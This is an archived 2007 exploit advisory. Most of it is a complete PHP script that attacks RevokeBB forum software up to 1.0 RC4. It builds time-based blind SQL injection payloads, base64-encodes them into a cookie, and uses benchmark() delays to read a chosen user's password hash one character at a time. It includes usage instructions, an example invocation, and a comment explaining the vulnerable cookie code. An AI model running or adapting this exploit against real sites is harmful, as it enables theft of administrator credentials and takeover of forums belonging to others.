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securityvulnsSecurityvulnsSECURITYVULNS:DOC:17163
HistoryJun 03, 2007 - 12:00 a.m.

RevokeBB Blind SQL Injection / Hash Extractor

2007-06-0300:00:00
vulners.com
27

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "

RevokeBB <= 1.0 RC4 Blind SQL Injection / Hash Retrieve Exploit

Site: http://www.revokesoft.net

by BlackHawk <[email protected]> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love


";
if ($argc<5) {
echo "
Usage: php ".$argv[0]." Host Path UserName PrefiX
Host: target server (ip/hostname)
Path: path of revbb
UserName: a valid username
PrefiX: the table prefix (usually revokebb_)

Example:
php ".$argv[0]." localhost /revbb/ admin revokebb_
";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy…';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy…\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy…';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
/*

Vuln Explanation:

This board is very cool, and before founding this bug I was sure to use it for my forum…

Vulnerable code can be found at inc\class_users.php, line 94:

if(!$_SESSION['auth'] && isset($_COOKIE['revokebb_user']))
{
$temp_name = explode('%%',$_COOKIE['revokebb_user']);
$temp_name[0] = base64_decode($temp_name[0]); <— 1
$query = $this->db->execQuery( $this->db->sql_build('cookie_user_exists', array($temp_name[0], $temp_name[1] ) ));
if($this->db->num_rows($query)==1)
{
$temp=$this->db->fetch_array($query);
$this->login($temp_name[0], $temp_name[1], $sid, false, 0); <— 2
}
else
setcookie('revokebb_user', '', time() - 3600);
}

With base64_decode we can easy bypass magic_quotes, and inject a very pretty username into the SQL statement,
but unfotunatly, because of point 2 we could not complete bypass the login, this is the code:

$username = htmlspecialchars($username, ENT_QUOTES);
$password = htmlspecialchars($password, ENT_QUOTES);

so what we could do is only a blind sql injection to bruteforce the hash of the admin…


ATTENTION!!

in the various version the cookie name change, so edit it when doing the attack…

I must name my "friend" SpiderZ on this exploit, because his advisory with an EXTREMLY
CRITICAL XSS in this board is the reason why I have analized this software to show him
what a vuln is…
*/
$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$prefix=$argv[4];

$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
#print_r(array_values($md5s));

$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$starttime=time();
$sql=base64_encode("69' UNION SELECT IF ((ASCII(SUBSTRING(".$prefix."users.user_password,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1 FROM ".$prefix."users WHERE ".$prefix."users.user_nick = '$uname'/*");
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: rv_user=$sql%%hawk\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("The used SELECT statements have a different number of columns",$html)){echo $html; die("\nunknown query error…");}
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed…");}
}
$j++;
}
echo "

$uname Hash is: $password";

Coded With BH Fast Generator v0.1

?>